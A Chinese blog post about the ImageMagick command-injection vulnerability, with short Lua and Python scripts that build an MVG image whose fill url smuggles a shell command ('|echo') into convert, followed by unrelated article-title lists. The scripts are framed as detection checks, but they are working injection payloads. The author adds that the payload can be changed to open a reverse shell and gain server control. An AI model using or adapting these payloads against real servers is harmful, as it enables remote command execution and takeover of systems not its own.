ImageMagick这个漏洞昨天晚上就出来了,今天才有时间研究一下,今天自己也测试了一下

效果图:

=======================

用lua写了一个检测脚本

 print ("Checking...")
file=io.open("exp.jpg","w")
--file:write("s")
file:write("push graphic-context\r\nviewbox 0 0 640 480\r\n")
file:write("fill 'url(https://example.com/image.jpg")
file:write('"|echo "success!!!)')
file:write("'\r\n")
file:write("pop graphic-context")
file:close()
cmd=io.popen("convert exp.jpg test.png")
result=cmd:read("*all")
print(result)

python版本:

 import os

 file = open("./x","w")
file.write("push graphic-context\r\n")
file.write("viewbox 0 0 640 480\r\n")
file.write("fill 'url(https://example.com/image.jpg\"|echo \"dangerous!)'\r\n")
file.write("pop graphic-context\r\n")
file.close() res = os.system("convert ./x ./y 2>/dev/null")
if os.path.exists("x"):
os.remove("x")
if os.path.exists("y"):
os.remove("y")

如果存在返回

当然playload自己改吧,可以直接反弹个shell回来,直接拿到服务器权限

附上一篇分析文章:

http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462399591384&from=groupmessage&isappinstalled=0

最新文章

  1. C#对象先序列化然后反序列化时间丢失八小时的问题
  2. PHP的学习--PHP的闭包
  3. Emacs常用命令汇总
  4. Swift游戏实战-跑酷熊猫 08 产生源源不断的移动平台
  5. Java获取音频文件(MP3)的播放时长
  6. hive内部表、外部表
  7. Android构建boot.img(一):root目录与ramdisk.img的生成
  8. OCI的结果输出
  9. Codeforces Round #306 (Div. 2)
  10. Git 常用配置和使用
  11. Linux Top使用说明
  12. 『转载』Debussy快速上手(Verdi相似)
  13. C++ Primer 学习笔记_54_类和数据抽象 --拷贝构造函数、赋值运算符
  14. 集群RPC通信
  15. 【并发编程】【JDK源码】JDK的(J.U.C)java.util.concurrent包结构
  16. Unity Shader笔记
  17. DS05--查找
  18. SDL_AudioSpec(转)
  19. p5155 [USACO18DEC]Balance Beam
  20. java中的接口和抽象类的区别

热门文章

  1. 典型的检查对float精度理解的代码
  2. 如何通过类找到对应的jar包
  3. SQL Server 最小化日志操作解析,应用
  4. javax.transaction.xa.XAException: java.sql.SQLException: 无法创建 XA 控制连接。(SQL 2000,SQL2005,SQL2008)
  5. FireDac 与数据库连接时字符集及对应的字段类型问题
  6. UI优化
  7. LoadRunner并发用户和集合点的深入讨论
  8. zabbix自定义监控tcp连接数
  9. 配置SecondaryNameNode
  10. 安装centos7.1 32bit时,没有可用的网络设备的解决方法